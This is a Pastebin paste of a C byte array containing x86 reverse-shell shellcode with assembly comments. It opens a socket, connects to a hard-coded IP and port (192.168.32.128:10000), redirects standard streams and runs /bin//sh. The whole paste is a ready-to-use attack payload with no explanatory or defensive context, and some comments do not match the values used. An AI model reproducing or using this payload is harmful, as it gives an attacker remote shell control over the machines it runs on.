Guest User

Untitled

a guest
May 25th, 2018
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.04 KB | None | 0 0
  1. #define IPADDR "\xc0\xa8\x20\x80"
  2. #define PORT "\x27\x10" /* htons(10000) */
  3.  
  4. char sc[] =
  5. "\x90\x90"
  6. "\x90\x90"
  7. "\x31\xc9" // xor ecx, ecx
  8. "\xf7\xe1" // mul ecx
  9. "\x51" // push ecx
  10. "\x41" // inc ecx
  11. "\x51" // push ecx
  12. "\x41" // inc ecx
  13. "\x51" // push ecx
  14. "\x51" // push ecx
  15. "\xb0\x61" // mov al, 97
  16. "\xcd\x80" // int 80h
  17. "\x89\xc3" // mov ebx, eax
  18. "\x68"IPADDR // push dword 0101017fh
  19. "\x66\x68"PORT // push word 4135
  20. "\x66\x51" // push cx
  21. "\x89\xe6" // mov esi, esp
  22. "\xb2\x10" // mov dl, 16
  23. "\x52" // push edx
  24. "\x56" // push esi
  25. "\x50" // push eax
  26. "\x50" // push eax
  27. "\xb0\x62" // mov al, 98
  28. "\xcd\x80" // int 80h
  29. "\x41" // inc ecx
  30. "\xb0\x5a" // mov al, 90
  31. "\x49" // dec ecx
  32. "\x51" // push ecx
  33. "\x53" // push ebx
  34. "\x53" // push ebx
  35. "\xcd\x80" // int 80h
  36. "\x41" // inc ecx
  37. "\xe2\xf5" // loop -10
  38. "\x51" // push ecx
  39. "\x68\x2f\x2f\x73\x68" // push dword 68732f2fh
  40. "\x68\x2f\x62\x69\x6e" // push dword 6e69622fh
  41. "\x89\xe3" // mov ebx, esp
  42. "\x51" // push ecx
  43. "\x54" // push esp
  44. "\x53" // push ebx
  45. "\x53" // push ebx
  46. "\xb0\xc4\x34\xff"
  47. "\xcd\x80"; // int 80h
Add Comment
Please, Sign In to add comment